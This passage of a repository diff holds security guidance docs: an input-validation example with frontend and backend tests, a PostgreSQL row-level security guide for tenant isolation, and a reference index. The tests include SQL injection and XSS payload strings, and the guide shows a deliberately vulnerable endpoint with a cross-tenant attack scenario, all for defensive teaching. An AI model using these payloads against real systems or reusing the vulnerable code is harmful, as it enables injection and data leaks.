onChange={(e) => setFormData({ ...formData, name: e.target.value })}
maxLength={100} // ✅ SECURITY: Client-side length limit
/>
{errors.name && <span className="error">{errors.name}</span>}
</div>
<div>
<label htmlFor="bio">Bio</label>
<textarea
id="bio"
value={formData.bio}
onChange={(e) => setFormData({ ...formData, bio: e.target.value })}
maxLength={500} // ✅ SECURITY: Client-side length limit
/>
{errors.bio && <span className="error">{errors.bio}</span>}
</div>
<div>
<label htmlFor="website">Website</label>
<input
id="website"
type="url" // ✅ SECURITY: Browser validation
value={formData.website}
onChange={(e) => setFormData({ ...formData, website: e.target.value })}
placeholder="https://example.com"
/>
{errors.website && <span className="error">{errors.website}</span>}
</div>
<div>
<label htmlFor="age">Age</label>
<input
id="age"
type="number" // ✅ SECURITY: Browser validation
value={formData.age}
onChange={(e) => setFormData({
...formData,
age: parseInt(e.target.value) || undefined
})}
min={13}
max={120}
/>
{errors.age && <span className="error">{errors.age}</span>}
</div>
{/* ✅ SECURITY: Render sanitized content as text (not HTML) */}
<div>
<h3>Bio Preview</h3>
<p>{sanitizedBio}</p> {/* Text rendering, not dangerouslySetInnerHTML */}
</div>
<button type="submit">Save Profile</button>
</form>
);
}
```
## Testing Validation
### Unit Tests (Frontend)
```typescript
// tests/schemas/user.test.ts
import { describe, test, expect } from 'vitest';
import { updateProfileSchema } from '@/schemas/user';
describe('updateProfileSchema', () => {
test('validates correct input', () => {
const valid = {
name: 'John Doe',
bio: 'Software engineer',
website: 'https://example.com',
age: 30
};
expect(() => updateProfileSchema.parse(valid)).not.toThrow();
});
test('rejects SQL injection in name', () => {
const malicious = {
name: "'; DROP TABLE users; --",
bio: 'Bio',
age: 30
};
expect(() => updateProfileSchema.parse(malicious)).toThrow('Name contains invalid characters');
});
test('rejects javascript: URL scheme', () => {
const malicious = {
name: 'John',
website: 'javascript:alert("XSS")',
age: 30
};
expect(() => updateProfileSchema.parse(malicious)).toThrow('URL must use http or https protocol');
});
test('rejects name > 100 characters', () => {
const tooLong = {
name: 'a'.repeat(101),
age: 30
};
expect(() => updateProfileSchema.parse(tooLong)).toThrow('Name must be less than 100 characters');
});
test('rejects invalid age', () => {
expect(() => updateProfileSchema.parse({ name: 'John', age: 12 }))
.toThrow('Must be at least 13 years old');
expect(() => updateProfileSchema.parse({ name: 'John', age: 150 }))
.toThrow('Invalid age');
});
});
```
### Integration Tests (Backend)
```python
# tests/test_profile.py
import pytest
from fastapi.testclient import TestClient
def test_update_profile_success(client: TestClient, auth_token: str):
"""Test successful profile update with valid data"""
response = client.post(
"/api/users/uuid-123/profile",
headers={"Authorization": f"Bearer {auth_token}"},
json={
"name": "John Doe",
"bio": "Software engineer",
"website": "https://example.com",
"age": 30
}
)
assert response.status_code == 200
assert response.json() == {"status": "success"}
def test_sql_injection_prevented(client: TestClient, auth_token: str):
"""Test that SQL injection is prevented"""
response = client.post(
"/api/users/uuid-123/profile",
headers={"Authorization": f"Bearer {auth_token}"},
json={
"name": "'; DROP TABLE users; --",
"age": 30
}
)
assert response.status_code == 422 # Validation error
assert "Name contains invalid characters" in response.text
def test_xss_sanitized(client: TestClient, auth_token: str):
"""Test that XSS attempts are sanitized"""
response = client.post(
"/api/users/uuid-123/profile",
headers={"Authorization": f"Bearer {auth_token}"},
json={
"name": "John",
"bio": "<script>alert('XSS')</script>",
"age": 30
}
)
assert response.status_code == 200
# Verify bio is sanitized in database
user = get_user("uuid-123")
assert "<script>" not in user.bio # HTML stripped
def test_unauthorized_update_blocked(client: TestClient, other_user_token: str):
"""Test that users cannot update other users' profiles"""
response = client.post(
"/api/users/uuid-OTHER/profile",
headers={"Authorization": f"Bearer {other_user_token}"},
json={"name": "Hacker", "age": 30}
)
assert response.status_code == 403
assert response.json()["detail"] == "Forbidden"
```
## Security Checklist
- [x] **Input validation** on both client and server
- [x] **SQL injection prevention** (using ORM)
- [x] **XSS prevention** (HTML sanitization)
- [x] **Type validation** (Zod, Pydantic)
- [x] **Length limits** enforced
- [x] **URL scheme validation** (http/https only)
- [x] **Authentication** required
- [x] **Authorization** verified (own profile only)
- [x] **Tenant isolation** enforced
- [x] **Comprehensive tests** for security
## Key Takeaways
1. **Never trust client input** - Always validate on server
2. **Use ORMs** - Prevent SQL injection
3. **Sanitize HTML** - Prevent XSS
4. **Validate types** - Prevent type confusion
5. **Enforce limits** - Prevent DoS
6. **Test security** - Write tests for attack vectors
## Related Resources
- [Data Validation Checklist](../../data-quality/skills/data-validation/checklists/data-validation-checklist.md)
- [OWASP Input Validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
- [Zod Documentation](https://zod.dev)
- [Pydantic Documentation](https://docs.pydantic.dev)
---
**Vulnerabilities Prevented**: SQL Injection, XSS, Type Confusion
**Defense Layers**: Client validation + Server validation + Sanitization
**Impact**: Production security vulnerability → Secure implementation ✅

View File

@@ -0,0 +1,519 @@
# Multi-Tenant Row-Level Security (RLS) Example
Real-world example implementing PostgreSQL RLS policies to enforce tenant isolation in a Grey Haven multi-tenant application.
## Scenario
A SaaS application with multiple tenants (organizations) must ensure complete data isolation. A critical bug allowed Tenant A to access Tenant B's data due to missing RLS policies.
## The Problem
### Vulnerable Architecture (BEFORE)
**Database Schema:** `schema.sql`
```sql
-- ❌ VULNERABLE: No RLS policies
CREATE TABLE tenants (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
slug TEXT UNIQUE NOT NULL,
created_at TIMESTAMPTZ DEFAULT NOW()
);
CREATE TABLE users (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
email TEXT UNIQUE NOT NULL,
name TEXT NOT NULL,
tenant_id UUID NOT NULL REFERENCES tenants(id),
created_at TIMESTAMPTZ DEFAULT NOW()
);
CREATE TABLE projects (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
description TEXT,
tenant_id UUID NOT NULL REFERENCES tenants(id),
owner_id UUID NOT NULL REFERENCES users(id),
created_at TIMESTAMPTZ DEFAULT NOW()
);
-- ❌ PROBLEM: No RLS policies!
-- Any user with database access can query all data
```
**Backend API:** `app/api/v1/projects.py`
```python
# ❌ VULNERABLE CODE
from fastapi import APIRouter, Depends
from sqlmodel import select
from app.models.project import Project
from app.api.deps import get_session, get_current_user
router = APIRouter()
@router.get("/projects")
async def list_projects(
session = Depends(get_session),
current_user = Depends(get_current_user)
):
"""List all projects - VULNERABLE VERSION"""
# ❌ PROBLEM: No tenant filtering!
# Returns ALL projects from ALL tenants
stmt = select(Project)
result = await session.execute(stmt)
projects = result.scalars().all()
return {"projects": projects}
```
**Attack Scenario:**
1. Attacker (Tenant A) logs in normally
2. Uses DevTools to intercept API request
3. Modifies request to query arbitrary project IDs
4. Receives data from Tenant B's projects!
```bash
# Attacker's request
GET /api/projects/uuid-from-tenant-b
# ❌ Response includes Tenant B data!
{
"id": "uuid-from-tenant-b",
"name": "Secret Project",
"tenant_id": "tenant-b-uuid",
"description": "Confidential data..."
}
```
## The Solution: PostgreSQL RLS
### Step 1: Enable RLS on All Tables
```sql
-- ✅ SECURITY: Enable RLS on all multi-tenant tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
ALTER TABLE comments ENABLE ROW LEVEL SECURITY;
-- ... enable on ALL tables with tenant_id
```
### Step 2: Create RLS Policies
```sql
-- ✅ SECURITY: Tenant isolation policy for users table
CREATE POLICY tenant_isolation ON users
USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- ✅ SECURITY: Tenant isolation policy for projects table
CREATE POLICY tenant_isolation ON projects
USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- ✅ SECURITY: Tenant isolation policy for documents table
CREATE POLICY tenant_isolation ON documents
USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- ✅ SECURITY: Tenant isolation policy for comments table
CREATE POLICY tenant_isolation ON comments
USING (tenant_id = current_setting('app.tenant_id')::uuid);
```
**How RLS Works:**
- `USING (condition)` - Applied to SELECT, UPDATE, DELETE
- `current_setting('app.tenant_id')` - Session variable set per request
- Only rows matching condition are visible/modifiable
### Step 3: Admin Bypass Policy (Optional)
For admin users who need cross-tenant access:
```sql
-- ✅ SECURITY: Admin bypass policy
CREATE POLICY admin_full_access ON projects
USING (
current_setting('app.user_role', true) = 'admin'
OR tenant_id = current_setting('app.tenant_id')::uuid
);
-- Note: Use WITH CHECK for INSERT/UPDATE policies
CREATE POLICY admin_full_access_insert ON projects
FOR INSERT
WITH CHECK (
current_setting('app.user_role', true) = 'admin'
OR tenant_id = current_setting('app.tenant_id')::uuid
);
```
### Step 4: Set Tenant Context in Application
**Backend:** `app/api/deps.py`
```python
# ✅ SECURE: Set tenant context for each request
from fastapi import Depends, HTTPException
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import text
from app.db.session import get_session
from app.models.user import User
async def set_tenant_context(
current_user: User = Depends(get_current_user),
session: AsyncSession = Depends(get_session)
):
"""Set PostgreSQL session variables for RLS"""
# ✅ SECURITY: Set tenant_id from authenticated user
await session.execute(
text("SET LOCAL app.tenant_id = :tenant_id"),
{"tenant_id": str(current_user.tenant_id)}
)
# ✅ SECURITY: Set user role for admin bypass (if needed)
await session.execute(
text("SET LOCAL app.user_role = :role"),
{"role": current_user.role}
)
return current_user
```
**Usage in API Endpoints:**
```python
# ✅ SECURE CODE
from fastapi import APIRouter, Depends
from sqlmodel import select
from app.models.project import Project
from app.api.deps import get_session, set_tenant_context
router = APIRouter()
@router.get("/projects")
async def list_projects(
session = Depends(get_session),
current_user = Depends(set_tenant_context) # ✅ Sets tenant context
):
"""List projects - SECURE VERSION"""
# ✅ SECURITY: RLS automatically filters by tenant_id
# No manual WHERE clause needed!
stmt = select(Project)
result = await session.execute(stmt)
projects = result.scalars().all()
# Only returns projects from current_user.tenant_id
return {"projects": projects}
@router.get("/projects/{project_id}")
async def get_project(
project_id: str,
session = Depends(get_session),
current_user = Depends(set_tenant_context) # ✅ Sets tenant context
):
"""Get single project - SECURE VERSION"""
# ✅ SECURITY: RLS automatically filters
# If project belongs to different tenant, returns None
stmt = select(Project).where(Project.id == project_id)
result = await session.execute(stmt)
project = result.scalar_one_or_none()
if not project:
raise HTTPException(status_code=404, detail="Project not found")
return project
```
### Step 5: Database Migration
**Alembic migration:** `alembic/versions/xxx_enable_rls.py`
```python
"""Enable RLS on all multi-tenant tables"""
from alembic import op
def upgrade():
# Enable RLS
op.execute("ALTER TABLE users ENABLE ROW LEVEL SECURITY")
op.execute("ALTER TABLE projects ENABLE ROW LEVEL SECURITY")
op.execute("ALTER TABLE documents ENABLE ROW LEVEL SECURITY")
# Create policies
op.execute("""
CREATE POLICY tenant_isolation ON users
USING (tenant_id = current_setting('app.tenant_id')::uuid)
""")
op.execute("""
CREATE POLICY tenant_isolation ON projects
USING (tenant_id = current_setting('app.tenant_id')::uuid)
""")
op.execute("""
CREATE POLICY tenant_isolation ON documents
USING (tenant_id = current_setting('app.tenant_id')::uuid)
""")
def downgrade():
# Drop policies
op.execute("DROP POLICY IF EXISTS tenant_isolation ON users")
op.execute("DROP POLICY IF EXISTS tenant_isolation ON projects")
op.execute("DROP POLICY IF EXISTS tenant_isolation ON documents")
# Disable RLS
op.execute("ALTER TABLE users DISABLE ROW LEVEL SECURITY")
op.execute("ALTER TABLE projects DISABLE ROW LEVEL SECURITY")
op.execute("ALTER TABLE documents DISABLE ROW LEVEL SECURITY")
```
## Testing RLS
### Unit Tests
```python
# tests/test_rls.py
import pytest
from sqlalchemy import text
from app.models.user import User
from app.models.project import Project
@pytest.mark.asyncio
async def test_rls_isolates_tenants(session):
"""Test that RLS prevents cross-tenant access"""
# Create two tenants
tenant_a_id = "uuid-tenant-a"
tenant_b_id = "uuid-tenant-b"
# Create projects for each tenant
project_a = Project(name="Project A", tenant_id=tenant_a_id)
project_b = Project(name="Project B", tenant_id=tenant_b_id)
session.add_all([project_a, project_b])
await session.commit()
# ✅ TEST: Set context to Tenant A
await session.execute(
text("SET LOCAL app.tenant_id = :tenant_id"),
{"tenant_id": tenant_a_id}
)
# Query all projects
result = await session.execute(select(Project))
projects = result.scalars().all()
# ✅ ASSERTION: Should only see Tenant A's project
assert len(projects) == 1
assert projects[0].id == project_a.id
assert projects[0].tenant_id == tenant_a_id
# ✅ TEST: Attempt to query Tenant B's project directly
result = await session.execute(
select(Project).where(Project.id == project_b.id)
)
forbidden_project = result.scalar_one_or_none()
# ✅ ASSERTION: Should be None (RLS blocks access)
assert forbidden_project is None
@pytest.mark.asyncio
async def test_admin_bypass(session):
"""Test that admin role can access all tenants"""
# Set context with admin role
await session.execute(
text("SET LOCAL app.tenant_id = :tenant_id"),
{"tenant_id": "uuid-tenant-a"}
)
await session.execute(
text("SET LOCAL app.user_role = 'admin'")
)
# Query all projects
result = await session.execute(select(Project))
projects = result.scalars().all()
# ✅ ASSERTION: Admin sees ALL projects
assert len(projects) == 2 # Sees both Tenant A and B
```
### Integration Tests
```python
# tests/test_api_rls.py
import pytest
from fastapi.testclient import TestClient
def test_api_tenant_isolation(client: TestClient, tenant_a_token: str, tenant_b_project_id: str):
"""Test that API enforces tenant isolation"""
# Tenant A user tries to access Tenant B's project
response = client.get(
f"/api/projects/{tenant_b_project_id}",
headers={"Authorization": f"Bearer {tenant_a_token}"}
)
# ✅ ASSERTION: Should return 404 (RLS hides the project)
assert response.status_code == 404
assert response.json()["detail"] == "Project not found"
def test_api_own_tenant_access(client: TestClient, tenant_a_token: str, tenant_a_project_id: str):
"""Test that users can access their own tenant's data"""
response = client.get(
f"/api/projects/{tenant_a_project_id}",
headers={"Authorization": f"Bearer {tenant_a_token}"}
)
# ✅ ASSERTION: Should succeed
assert response.status_code == 200
assert response.json()["id"] == tenant_a_project_id
```
## Advanced: Separate Policies for CRUD
For fine-grained control, create separate policies for each operation:
```sql
-- SELECT policy (read access)
CREATE POLICY tenant_select ON projects
FOR SELECT
USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- INSERT policy (create access)
CREATE POLICY tenant_insert ON projects
FOR INSERT
WITH CHECK (
tenant_id = current_setting('app.tenant_id')::uuid
AND owner_id = current_setting('app.user_id')::uuid
);
-- UPDATE policy (modify access)
CREATE POLICY tenant_update ON projects
FOR UPDATE
USING (
tenant_id = current_setting('app.tenant_id')::uuid
AND owner_id = current_setting('app.user_id')::uuid
)
WITH CHECK (tenant_id = current_setting('app.tenant_id')::uuid);
-- DELETE policy (delete access)
CREATE POLICY tenant_delete ON projects
FOR DELETE
USING (
tenant_id = current_setting('app.tenant_id')::uuid
AND owner_id = current_setting('app.user_id')::uuid
);
```
## Monitoring & Auditing
### Log RLS Context
```python
import structlog
logger = structlog.get_logger()
async def set_tenant_context(current_user: User, session: AsyncSession):
"""Set tenant context with audit logging"""
await session.execute(
text("SET LOCAL app.tenant_id = :tenant_id"),
{"tenant_id": str(current_user.tenant_id)}
)
# ✅ AUDIT: Log tenant context for security monitoring
logger.info(
"tenant_context_set",
user_id=str(current_user.id),
tenant_id=str(current_user.tenant_id),
role=current_user.role
)
return current_user
```
### Verify RLS is Active
```python
# Startup check
@app.on_event("startup")
async def verify_rls():
"""Verify RLS is enabled on all tables"""
async with AsyncSession(engine) as session:
result = await session.execute(text("""
SELECT tablename
FROM pg_tables
WHERE schemaname = 'public'
AND tablename IN ('users', 'projects', 'documents')
AND NOT EXISTS (
SELECT 1 FROM pg_policy
WHERE tablename = pg_tables.tablename
)
"""))
tables_without_rls = result.scalars().all()
if tables_without_rls:
raise RuntimeError(
f"RLS not enabled on tables: {tables_without_rls}"
)
print("✅ RLS verified on all tables")
```
## Security Checklist
- [x] **RLS enabled** on all multi-tenant tables
- [x] **Policies created** for tenant isolation
- [x] **Tenant context** set on every request
- [x] **No manual WHERE clauses** for tenant_id (RLS handles it)
- [x] **Admin bypass** implemented securely (if needed)
- [x] **Tests verify** cross-tenant access is blocked
- [x] **Audit logging** for tenant context changes
- [x] **Startup checks** verify RLS is active
- [x] **Migration** to enable RLS on existing data
## Key Takeaways
1. **RLS is defense in depth** - Even if application code forgets tenant filtering, database enforces it
2. **Set context per request** - Not per session (sessions can be reused)
3. **Test isolation** - Write tests that verify cross-tenant access is blocked
4. **Don't trust application layer alone** - Bugs happen, RLS is the safety net
5. **Monitor RLS context** - Log when tenant context is set for audit trail
## Common Pitfalls
**Don't:**
- Forget to set tenant context (query will return no rows)
- Use global tenant context (sessions can be reused)
- Skip RLS on "internal" tables (all multi-tenant tables need RLS)
- Assume application-level checks are sufficient
- Disable RLS in production (even temporarily)
**Do:**
- Enable RLS on ALL multi-tenant tables
- Set tenant context at request start (dependency injection)
- Test cross-tenant isolation thoroughly
- Monitor RLS context in logs
- Use RLS + application-level checks (defense in depth)
## Related Resources
- [Authentication Security Checklist](../checklists/authentication-security-checklist.md)
- [PostgreSQL RLS Documentation](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)
- [Input Validation Example](./input-validation-example.md)
---
**Vulnerability**: Cross-tenant data access
**Solution**: PostgreSQL Row-Level Security (RLS)
**Impact**: Complete tenant isolation at database layer ✅
**Defense Layer**: Database-level (cannot be bypassed by application bugs)

View File

@@ -0,0 +1,47 @@
# Security Practices Reference
Complete technical reference for Grey Haven security standards and practices.
## Reference Materials
1. **[OWASP Top 10 for Grey Haven Stack](owasp-top-10.md)** - Vulnerability prevention
- A01: Broken Access Control
- A02: Cryptographic Failures
- A03: Injection
- A04: Insecure Design
- A05: Security Misconfiguration
- A06: Vulnerable Components
- A07: Authentication Failures
- A08: Data Integrity Failures
- A09: Logging Failures
- A10: Server-Side Request Forgery
2. **[Security Configuration](security-configuration.md)** - Complete settings guide
- Authentication configuration
- Session management
- CORS settings
- Rate limiting config
- Environment variables
3. **[Secret Management](secret-management.md)** - Doppler integration guide
- Required secrets
- Doppler CLI reference
- Access patterns
- Rotation procedures
4. **[Multi-Tenant Security](multi-tenant-security.md)** - Tenant isolation patterns
- RLS policies
- Query patterns
- Testing strategies
- Common pitfalls
## Quick Links
- For examples: See [examples/](../examples/INDEX.md)
- For checklists: See [checklists/](../checklists/)
- For templates: See [templates/](../templates/)
---
**Coverage**: OWASP Top 10, Configuration, Secrets, Multi-tenancy
**Last Updated**: 2025-11-09